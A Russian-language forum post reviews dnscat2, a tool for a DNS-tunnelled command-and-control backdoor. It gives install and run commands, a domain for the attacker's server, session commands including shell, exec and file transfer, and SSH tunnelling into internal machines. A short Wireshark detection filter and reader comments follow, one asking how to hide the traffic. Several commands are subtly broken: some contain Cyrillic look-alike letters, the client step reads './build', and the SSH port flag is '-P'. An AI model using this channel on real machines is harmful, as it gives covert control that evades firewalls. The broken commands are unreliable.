Soft DNSCAT - Backdoor через DNS

Всем привет, сегодня я бы хотел вам рассказать об утилите dnscat2.

Что это такое и с чем его едят

dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С.

Command and Control сервер - компьютер, контролируемый атакующим, который отправляет команды на скомпрометированную машину.
В чем смысл маскировки трафика под DNS

Часто бывает, что проходу нормального трафика мешает firewall, а резолв имен почти всегда разрешен. Примерную схему можете видеть ниже:

Untitled-1.png

Cкачивание и установкa:
Bash:
sudo apt-get updаte
sudo аpt-get -y instаll ruby-dev git mаke g++
sudo gem install bundler
git clone https://github.com/iagox86/dnscat2.git
sudo аpt-get updаte && sudo аpt-get -y instаll ruby-dev git mаke g++ && sudo gem install bundler && git clone https://github.com/iagox86/dnscat2.git
Установка серверной части:
Bash:
cd dnscat2/server
bundle instаll
Установка клиентской части:
Bash:
cd dnscat2/client
make
iagox86/dnscat2 найдите вашу ошибку здесь.
Тут описаны некоторые ошибки. Если вашей ошибки нет, то пишите в этой теме или загуглите.

К делу

Запускаем:
Сервер: sudo ruby dnscat2.rb
Клиент: запускаете на удаленной машине.

Сервер:
Код:
sudo ruby dnscat2.rb legitdnsserver.com
Клиент:
Код:
./build legitdnsserver.com
Как только произойдет подключение dnscat2 выведет вам номер сессии.

После выбора сессии:
Код:
sessions -i <номер сессии>
У вас будет доступен ряд команд:

Код:
clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows

Проброс туннеля
Если вам нужен удобный доступ к машинам в локальной сети по SSH, то это очень полезная вещь.
Выбираем сессию и вводим команду:

Код:
listen <port> <dest ip>:<ssh port>
Теперь вы можете спокойно подключиться к той машине, которую не видно из вне через ssh.
Код:
ssh -P <port> [email protected]

Кстати dnscat2 по умолчанию поддерживает шифрование. Автор говорит, что не гарантирует 100% криптографическую стойкость, но защита есть.

Как обнаружить dnscat2 на машине

Делаем дамп через wireshark и забиваем следующий фильтр:
Код:
dns.qry.name.len > 16 and !mdns
16 - просто длина имени DNS домена. Я подбирал вручную, у вас это число может отличаться. Чтобы его подобрать просто смотрите в результат фильтрации.
После этого фильтра могут остаться и нормальные DNS запросы, просто ищите dnscat.
И в информации о пакете ищем dnscat.

dnscat.png


Полезные ссылки
https://github.com/iagox86/dnscat2 - Страница dnscat, с его документацией.
https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152 - Про обнаружение DNS туннелей.

P.S возможно в некоторых моментах вылез за рамки раздела "Софт", но это нужно было, чтобы показать функционал.

Всем спасибо за внимание.
 
Последнее редактирование модератором:

pp11

Green Team
16.09.2018
200
81
Никто не хочет еще чем-то дополнить мою статью? Может кто-то еще знает что-то по этому инструменту. Я думаю всем будет полезно.
 

Proxy n1nja

Green Team
28.06.2018
118
145
Ты разработчик данного софта ? Или ты просто с гитхаба его сюда принес ?
 
  • Нравится
Реакции: pp11

pp11

Green Team
16.09.2018
200
81
Ты разработчик данного софта ? Или ты просто с гитхаба его сюда принес ?
Вообще я хотел разместить данную статью в разделе "Программное обеспечение — Soft", но там нет прав на размещение. Админ сказал, чтобы я запостил тут тему.
Это "обзор" на софт, я не являюсь разработчиком.
 

WhiteHacK

Green Team
18.08.2019
42
9
Очень интересный способ обхода некоторых систем защиты :)
 
  • Нравится
Реакции: pp11

connected

Green Team
14.10.2018
27
42
Могу дополнить что у меня есть свой инструмент для доступа к компютеру через NAT, основан он на TOR, и проброса портов через .onion адрес, работает безотказно!
 

katok_

Green Team
19.06.2019
24
4
А есть ли возможность как-то скрыть трафик от прямого анализа? Если это настолько садиться на Wireshark , то вероятно и автоматические инструменты могут задетектить.
 
Мы в соцсетях:

1 августа стартует курс «Основы программирования на Python» от команды The Codeby

Курс будет начинаться с полного нуля, то есть начальные знания по Python не нужны. Длительность обучения 2 месяца. Учащиеся получат методички, видео лекции и домашние задания. Много практики. Постоянная обратная связь с кураторами, которые помогут с решением возникших проблем.

Запись на курс до 10 августа. Подробнее ...